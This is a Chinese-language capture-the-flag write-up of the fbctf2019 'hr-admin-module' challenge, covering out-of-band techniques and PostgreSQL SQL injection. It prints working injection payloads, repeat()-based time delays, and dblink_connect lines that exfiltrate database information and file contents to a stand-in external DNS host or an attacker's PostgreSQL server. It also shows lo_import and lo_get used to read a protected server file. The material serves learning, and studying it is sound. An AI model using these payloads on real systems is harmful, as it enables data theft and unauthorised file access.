前言
之前看到fbctf的时候看到了这道题,但是一直没找到时间好好学习一下,这次某公司的比赛网络与信息安全领域专项赛——按F注入又碰到了一样的环境(真的就是一摸一样,可是最后卡在读文件一直读不出来,才想起来要学习一下这种方式。
知识
带外通道(OOB)带外通道技术(OOB)让攻击者能够通过另一种方式来确认漏洞的存在。在这种没有任何回显或者表现得漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP/UDP/ICMP 请求,然后,攻击者可以通过这个请求来提取数据。一次 OOB 攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。
在Web中通常在以下场景会使用带外通道:
命令执行
SQL注入
XXE
带外通道得方式:
http方式:
http://domain.com/?secret=xxxxx 带出得信息位于get参数中
http://domain.com/xxxxx 带出得信息位于路径中
也可以放在cookie中或者post参数里
dns方式
curl xxxx.domain.com 带出得信息位于域名当中
http方式和dns方式都有其局限性,DNS回显是有限制的,根据域名的规则,域名只能使用英文字符,数字,-,且-不能用作开头和结尾,域名长度也不可以超过63.
http方式和dns方式都需要注意编码得问题,否则影响其本身的结构
题目为例
fbctf2019 hr-admin-module打开题目后,看到首页,首先最引人瞩目的应该就是File manager地方下的红色报错信息,该信息泄露了敏感文件的具体路径, /var/lib/postgresql/data/secret
,并提示我们当前用户没有足够的权限,初步猜测这应该是题目想要我们获取的目标。
根据敏感文件路径,我们可以初步判定这个web应用在后端采用postgresql来进行存储。
在对网站进行初步的信息搜集,比如先扫描目录看看是否有敏感文件泄露,当然这里不是这道题目的核心,只是顺带提一句一般的做题或者渗透的思路,然后查看网站与后端有什么地方交互,比如
在这三处与网站交互的地方,user_search是在前端禁止的,前端禁止就等于没有禁止,不过可以直接通过get方法请求发送,既然题目明确对这里做了限制,那就提示我们漏洞点应该在这里,因此对这个user_search点进行测试(这里对语句需要执行多次,查询看起来是异步的,发送第二次查询才会返回第一次查询结果)。
/?user_search=1 返回正常
/?user_search=1' 返回warning提示
这里提示我们这个点可能存在注入,继续测试
/?user_search=1' and 1=0 -- 返回正常
/?user_search=1' and 1=1 -- 返回正常
这里我们猜测网站的逻辑,可能只有拼接后的sql语句出错,才会返回warning提示,那我们从这需要排除报错注入,以及布尔盲注,因为即使构造的语句出错,并不返回错误的具体信息,并且布尔拼接的语句都是可以正常执行的,在前端返回并不会有不同的表现。我们可以继续利用order by来测试返回的columns数
/?user_search=1' order by 1 -- 返回正常
/?user_search=1' order by 2 -- 返回正常
/?user_search=1' order by 3 -- 返回warning提示
通过order by可以判断出user_search这个点返回的columns数为2,但是我们仍然不能获取信息,能否配合条件语句来控制?这个也许可以考虑
/?user_search=1' union select 1,2 -- 返回warning提示
/?user_search=1' union select 1,'mote' -- 返回正常
/?user_search=1' union select 'mote','mote' -- 返回warning提示
这里可以判断对应列的属性为数值还是非数值类型(比如字符串和NULL值),说明column1为数值类型,column2为非数值类型
相关实验:SQL注入原理与实践
长按下面二维码,或点击文末“阅读原文”(PC端操作最佳哟)
长按开始学习
顺着做题的思路,那是否可以进行延时盲注呢?在postgrest数据库中的延时函数有
pg_sleep(seconds)
pg_sleep_for(interval)
pg_sleep_until(timestamp with time zone)
pg_sleep让当前的会话进程休眠seconds 秒以后再执行。seconds是一个double precision 类型的值,所以可以指定带小数的秒数。
pg_sleep_for 对于指定为interval的较长睡眠时间是一个便利函数。
pg_sleep_until在需要特定唤醒时间时比较便利。
SELECT pg_sleep(1.5);
SELECT pg_sleep_for('5 minutes');
SELECT pg_sleep_until('tomorrow 03:00');
下面测试延时:
/?user_search=1' union select 1,pg_sleep(5) -- 返回warning提示
/?user_search=1' union select 1,cast(pg_sleep(5) as text) -- 要转换一下类型,返回正常,但是没有延时
/?user_search=1' union select 1,cast(pg_sleep_for('0.1 minutes') as text) -- 返回正常,但是没有延时
说明正常的延时函数都被过滤了,但是repeat()方法可以导致延时(参考https://balsn.tw/ctf_writeup/20190603-facebookctf/)
/?user_search=1' union select 1,(select case when 1=1 then (select repeat('a', 10000000)) else NULL end) --
这样就可以获得一个延时注入的点,注入脚本如下(by balsn):
https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py
可以获得如下基本信息:
version: (Debian 11.2-1.pgdg90+1)
current_db: docker_db
current_schema: public
table of public: searches
columns of searches: id,search
searches表是空表
方法二:信息带外在PostgreSQL中,存在dblink模块,可以外联数据库或者当前数据库,通过dblink_send_query来异步执行操作,但是同时因为会对host进行dns查询,因此,可以利用这个函数来把查询得到的信息通过DNS的方式传送出来。
/?user_search=1' union select 1,(select dblink_connect('')) -- 没有提示warning,所以语句是正常的
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT version()) || 'xxxx.ceye.io user=a password=a dbname=test')) -- 查询版本,还可以使用另外一种方法
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_setting('server_version_num')) || '.xxxx.ceye.io user=a password=a dbname=test')) -- 查询到版本数字
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_database()) || '.xxxx.ceye.io user=a password=a dbname=test')) -- 查询到当前连接的数据库
顺着这个方法可以搜集数据库的一些信息,如方法一。
在VPS上部署一个PostgreSQL服务器,监控PostgreSQL的接收端口,设置连接的用户和密码为自己设置的即可,PostgreSQL默认不使用SSL加密通信数据,所以我们可以直接看到数据是明文传输的。
首先设置配置文件中 listen_addresses
为*,监听所有地址(配置文件默认为postgresql.conf也在/var/lib/postgresql/data/下)
使用tcpdump来监控数据
sudo tcpdump -nX -i eth0 port 5432
尝试下连接该数据库,看能否抓到数据
/?user_search=1' union select 1,(select dblink_connect('host=192.168.66.38:5433 user=' || (SELECT current_database()) || ' password= dbname=test')) --
在读version()等一些信息的时候需要注意进行编码,否则字符串里的空格会破坏dblink_conncet的字符串参数结构。
/?user_search=1' UNION SELECT 1,(SELECT dblink_connect('host=xxx port=xxx user=@'||(SELECT+encode(cast(current_setting('server_version')+as+bytea),'base64'))||' password=postgres dbname=postgres')) --
通过上述三种方法并没有在数据库中发现什么有用的信息,并且唯一的表searches表也是空的,因此考虑读取文件,回到题目一开始的提示,这应该是暗示我们要读取/var/lib/postgresql/data/secret
文件了。但是当前用户为docker,不够权限执行系统管理员才能执行的函数pg_read_file()
, pg_ls_dir()
or pg_stat_file()
。
因此我们需要找到一种方法来读取到/var/lib/postgresql/data/secret
文件,/var/lib/postgresql/data/
是postgresql的默认数据存储目录。
这里稍微记录下碰到这种情况也就是需要绕过的时候的做法,一般都是谷歌百度,然后阅读文档,另外可以自己起一个环境去搜索相关的函数。例如在这里,balsn的做法是另外起一个环境:
SELECT proname FROM pg_proc WHERE proname like '%file%'; 查询所有带有file的函数
pg_stat_get_db_temp_files
pg_walfile_name_offset
pg_walfile_name
pg_rotate_logfile_old
pg_read_file_old
pg_read_file
pg_read_file
pg_read_file
pg_read_binary_file
pg_read_binary_file
pg_read_binary_file
pg_stat_file
pg_stat_file
pg_relation_filenode
pg_filenode_relation
pg_relation_filepath
pg_show_all_file_settings
pg_hba_file_rules
pg_rotate_logfile
pg_current_logfile
pg_current_logfile
但是这些函数都似乎没起作用
SELECT proname FROM pg_proc WHERE proname like '%read%'; 查阅带有read的函数
loread
pg_stat_get_db_blk_read_time
pg_read_file_old
pg_read_file
pg_read_binary_file
可以看到第一个方法,通过查阅文档(学会阅读文档很重要!)
loread是面向SQL的大对象函数,比如lo_from_bytea
,lo_put
,lo_get
,lo_creat
, lo_create
, lo_unlink
, lo_import
和 lo_export
服务器端的lo_import
和 lo_export
函数和客户端的那几个有着显著的不同。这两个函数在服务器的文件系统里读写文件, 使用数据库所有者的权限进行。因此,只有超级用户才能使用他们。相比之下,客户端的输入和输出函数在客户端的文件系统里读写文件, 使用客户端程序的权限。客户端函数不需要超级用户权限。
lo_read
和lo_write
的功能通过服务器端调用可用, 但是服务器端函数名不同于客户端接口,因为他们不包含下划线。你必须作为loread
和lowrite
调用这些函数。
在将服务器端lo_import和lo_export函数授权给非超级用户时需要仔细考虑安全隐患。具有此类权限的恶意用户可以轻松地将其变为超级用户(例如,通过重写服务器配置文件),或者可以攻击服务器的其余文件系统,而无需获取数据库超级用户权限。因此,对这两个函数的权限授予必须谨慎。
回到题目中来,lo_import方法可以读取文件为postgres对象
/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || '.xxxx.ceye.io user=a password=a dbname=test')) --
返回了对应的oid
这说明这里我们可以使用lo_xx等一系列的方法
我们可以通过查询pg_largeobject_metadata表来获得所有的大对象的oid
/?user_search=1' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
然后我们通过lo_get方法,来读取对应oid的object的值,因为读取后的值时bytea类型,需要进行转码比如UTF8
/?user_search=1' union select 1,(select dblink_connect('host=' || substring(convert_from(lo_get(16444),'utf8'),1,30) || '.xxxx.ceye.io user=a password=a dbname=test')) --
最后flag就在oid为16444的对象中
参考链接
https://balsn.tw/ctf_writeup/20190603-facebookctf/
https://xz.aliyun.com/t/5399
https://github.com/fbsamples/fbctf-2019-challenges/tree/master/web
https://github.com/PDKT-Team/ctf/tree/master/fbctf2019/hr-admin-module
https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md
https://www.postgresql.org/docs/11/dblink.html
https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py
http://www.postgres.cn/docs/9.4/functions-datetime.html#FUNCTIONS-DATETIME-DELAY
https://www.postgresql.org/docs/11/dblink.html
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:edu@heetian.com
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!